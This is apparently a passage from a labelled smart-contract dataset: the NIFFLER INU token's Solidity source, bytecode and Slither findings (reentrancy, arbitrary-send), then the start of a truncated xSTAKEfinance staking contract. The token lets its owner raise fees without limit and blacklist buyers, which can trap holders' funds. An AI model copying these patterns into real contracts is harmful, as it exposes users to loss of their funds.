function WETH() external pure returns (address);
}
contract NIFFLER is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "NIFFLER INU";
string private constant _symbol = "NIFFLER";
uint private constant _decimals = 9;
uint256 private _teamFee = 13;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized);
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (1 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f6578063cf0848f71461040b578063cf9d4afa1461042b578063dd62ed3e1461044b578063e6ec64ec14610491578063f2fde38b146104b157600080fd5b8063715018a6146103295780638da5cb5b1461033e57806390d49b9d1461036657806395d89b4114610386578063a9059cbb146103b6578063b515566a146103d657600080fd5b806331c2d8471161010857806331c2d847146102425780633bbac57914610262578063437823ec1461029b578063476343ee146102bb5780635342acb4146102d057806370a082311461030957600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b857806318160ddd146101e857806323b872dd1461020e578063313ce5671461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d1565b005b34801561017e57600080fd5b5060408051808201909152600b81526a4e4946464c455220494e5560a81b60208201525b6040516101af919061185c565b60405180910390f35b3480156101c457600080fd5b506101d86101d33660046118d6565b61051d565b60405190151581526020016101af565b3480156101f457600080fd5b5068056bc75e2d631000005b6040519081526020016101af565b34801561021a57600080fd5b506101d8610229366004611902565b610534565b34801561023a57600080fd5b506009610200565b34801561024e57600080fd5b5061017061025d366004611959565b61059d565b34801561026e57600080fd5b506101d861027d366004611a1e565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a757600080fd5b506101706102b6366004611a1e565b610633565b3480156102c757600080fd5b50610170610681565b3480156102dc57600080fd5b506101d86102eb366004611a1e565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031557600080fd5b50610200610324366004611a1e565b6106bb565b34801561033557600080fd5b506101706106dd565b34801561034a57600080fd5b506000546040516001600160a01b0390911681526020016101af565b34801561037257600080fd5b50610170610381366004611a1e565b610713565b34801561039257600080fd5b506040805180820190915260078152662724a3232622a960c91b60208201526101a2565b3480156103c257600080fd5b506101d86103d13660046118d6565b61078d565b3480156103e257600080fd5b506101706103f1366004611959565b61079a565b34801561040257600080fd5b506101706108b3565b34801561041757600080fd5b50610170610426366004611a1e565b61091c565b34801561043757600080fd5b50610170610446366004611a1e565b610967565b34801561045757600080fd5b50610200610466366004611a3b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049d57600080fd5b506101706104ac366004611a74565b610bc2565b3480156104bd57600080fd5b506101706104cc366004611a1e565b610bf1565b6000546001600160a01b031633146105045760405162461bcd60e51b81526004016104fb90611a8d565b60405180910390fd5b600061050f306106bb565b905061051a81610c89565b50565b600061052a338484610e03565b5060015b92915050565b6000610541848484610f27565b610593843361058e85604051806060016040528060288152602001611c08602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611343565b610e03565b5060019392505050565b6000546001600160a01b031633146105c75760405162461bcd60e51b81526004016104fb90611a8d565b60005b815181101561062f576000600560008484815181106105eb576105eb611ac2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062781611aee565b9150506105ca565b5050565b6000546001600160a01b0316331461065d5760405162461bcd60e51b81526004016104fb90611a8d565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062f573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052e9061137d565b6000546001600160a01b031633146107075760405162461bcd60e51b81526004016104fb90611a8d565b6107116000611401565b565b6000546001600160a01b0316331461073d5760405162461bcd60e51b81526004016104fb90611a8d565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052a338484610f27565b6000546001600160a01b031633146107c45760405162461bcd60e51b81526004016104fb90611a8d565b60005b815181101561062f57600c5482516001600160a01b03909116908390839081106107f3576107f3611ac2565b60200260200101516001600160a01b0316141580156108445750600b5482516001600160a01b039091169083908390811061083057610830611ac2565b60200260200101516001600160a01b031614155b156108a15760016005600084848151811061086157610861611ac2565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ab81611aee565b9150506107c7565b6000546001600160a01b031633146108dd5760405162461bcd60e51b81526004016104fb90611a8d565b600c54600160a01b900460ff166108f357600080fd5b600c805460ff60b81b1916600160b81b17905542600d81905561091790603c611b09565b600e55565b6000546001600160a01b031633146109465760405162461bcd60e51b81526004016104fb90611a8d565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109915760405162461bcd60e51b81526004016104fb90611a8d565b600c54600160a01b900460ff16156109f95760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fb565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a749190611b21565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ac1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae59190611b21565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b569190611b21565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610bec5760405162461bcd60e51b81526004016104fb90611a8d565b600855565b6000546001600160a01b03163314610c1b5760405162461bcd60e51b81526004016104fb90611a8d565b6001600160a01b038116610c805760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fb565b61051a81611401565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cd157610cd1611ac2565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4e9190611b21565b81600181518110610d6157610d61611ac2565b6001600160a01b039283166020918202929092010152600b54610d879130911684610e03565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610dc0908590600090869030904290600401611b3e565b600060405180830381600087803b158015610dda57600080fd5b505af1158015610dee573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fb565b6001600160a01b038216610ec65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fb565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f8b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fb565b6001600160a01b038216610fed5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fb565b6000811161104f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fb565b6001600160a01b03831660009081526005602052604090205460ff16156110f75760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fb565b6001600160a01b03831660009081526004602052604081205460ff1615801561113957506001600160a01b03831660009081526004602052604090205460ff16155b801561114f5750600c54600160a81b900460ff16155b801561117f5750600c546001600160a01b038581169116148061117f5750600c546001600160a01b038481169116145b1561133157600c54600160b81b900460ff166111dd5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fb565b50600c546001906001600160a01b03858116911614801561120c5750600b546001600160a01b03848116911614155b8015611219575042600e54115b15611261576000611229846106bb565b905061124a606461124468056bc75e2d631000006002611451565b906114d0565b6112548483611512565b111561125f57600080fd5b505b600d5442141561128f576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061129a306106bb565b600c54909150600160b01b900460ff161580156112c55750600c546001600160a01b03868116911614155b1561132f57801561132f57600c546112f99060649061124490600f906112f3906001600160a01b03166106bb565b90611451565b81111561132657600c546113239060649061124490600f906112f3906001600160a01b03166106bb565b90505b61132f81610c89565b505b61133d84848484611571565b50505050565b600081848411156113675760405162461bcd60e51b81526004016104fb919061185c565b5060006113748486611baf565b95945050505050565b60006006548211156113e45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fb565b60006113ee611674565b90506113fa83826114d0565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114605750600061052e565b600061146c8385611bc6565b9050826114798583611be5565b146113fa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fb565b60006113fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611697565b60008061151f8385611b09565b9050838110156113fa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fb565b808061157f5761157f6116c5565b60008060008061158e876116e1565b6001600160a01b038d16600090815260016020526040902054939750919550935091506115bb9085611728565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546115ea9084611512565b6001600160a01b03891660009081526001602052604090205561160c8161176a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161165191815260200190565b60405180910390a3505050508061166d5761166d600954600855565b5050505050565b60008060006116816117b4565b909250905061169082826114d0565b9250505090565b600081836116b85760405162461bcd60e51b81526004016104fb919061185c565b5060006113748486611be5565b6000600854116116d457600080fd5b6008805460095560009055565b6000806000806000806116f6876008546117f6565b915091506000611704611674565b90506000806117148a8585611823565b909b909a5094985092965092945050505050565b60006113fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611343565b6000611774611674565b905060006117828383611451565b3060009081526001602052604090205490915061179f9082611512565b30600090815260016020526040902055505050565b600654600090819068056bc75e2d631000006117d082826114d0565b8210156117ed5750506006549268056bc75e2d6310000092509050565b90939092509050565b6000808061180960646112448787611451565b905060006118178683611728565b96919550909350505050565b600080806118318685611451565b9050600061183f8686611451565b9050600061184d8383611728565b92989297509195505050505050565b600060208083528351808285015260005b818110156118895785810183015185820160400152820161186d565b8181111561189b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051a57600080fd5b80356118d1816118b1565b919050565b600080604083850312156118e957600080fd5b82356118f4816118b1565b946020939093013593505050565b60008060006060848603121561191757600080fd5b8335611922816118b1565b92506020840135611932816118b1565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561196c57600080fd5b823567ffffffffffffffff8082111561198457600080fd5b818501915085601f83011261199857600080fd5b8135818111156119aa576119aa611943565b8060051b604051601f19603f830116810181811085821117156119cf576119cf611943565b6040529182528482019250838101850191888311156119ed57600080fd5b938501935b82851015611a1257611a03856118c6565b845293850193928501926119f2565b98975050505050505050565b600060208284031215611a3057600080fd5b81356113fa816118b1565b60008060408385031215611a4e57600080fd5b8235611a59816118b1565b91506020830135611a69816118b1565b809150509250929050565b600060208284031215611a8657600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b0257611b02611ad8565b5060010190565b60008219821115611b1c57611b1c611ad8565b500190565b600060208284031215611b3357600080fd5b81516113fa816118b1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b8e5784516001600160a01b031683529383019391830191600101611b69565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611bc157611bc1611ad8565b500390565b6000816000190483118215151615611be057611be0611ad8565b500290565b600082611c0257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7f2427710aa6c40b5b964e5b2edca661f9b36c4bb27e0a16460d165c06f73ae64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,246 |
0x9240c2d6e42db74a5a0553b83d21298304eecb9a
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address payable public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address payable newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract xSTAKEfinance is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// staking token contract address
address public constant tokenAddress = 0xb6aa337C9005FBf3a10Edde47DDde3541adb79Cb;
// reward rate 220.00% per year
uint public constant rewardRate = 22000;
uint public constant rewardInterval = 365 days;
uint public constant fee = 1e16;
// unstaking possible after 7 days
uint public constant cliffTime = 7 days;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfStakers() public view returns (uint) {
return holders.length();
}
function stake(uint amountToStake) payable public {
require(msg.value >= fee, "Insufficient fee deposited.");
owner.transfer(msg.value);
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unstake(uint amountToWithdraw) payable public {
require(msg.value >= fee, "Insufficient fee deposited.");
owner.transfer(msg.value);
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
uint private constant stakingTokens = 680000e18;
function getStakingAmount() public view returns (uint) {
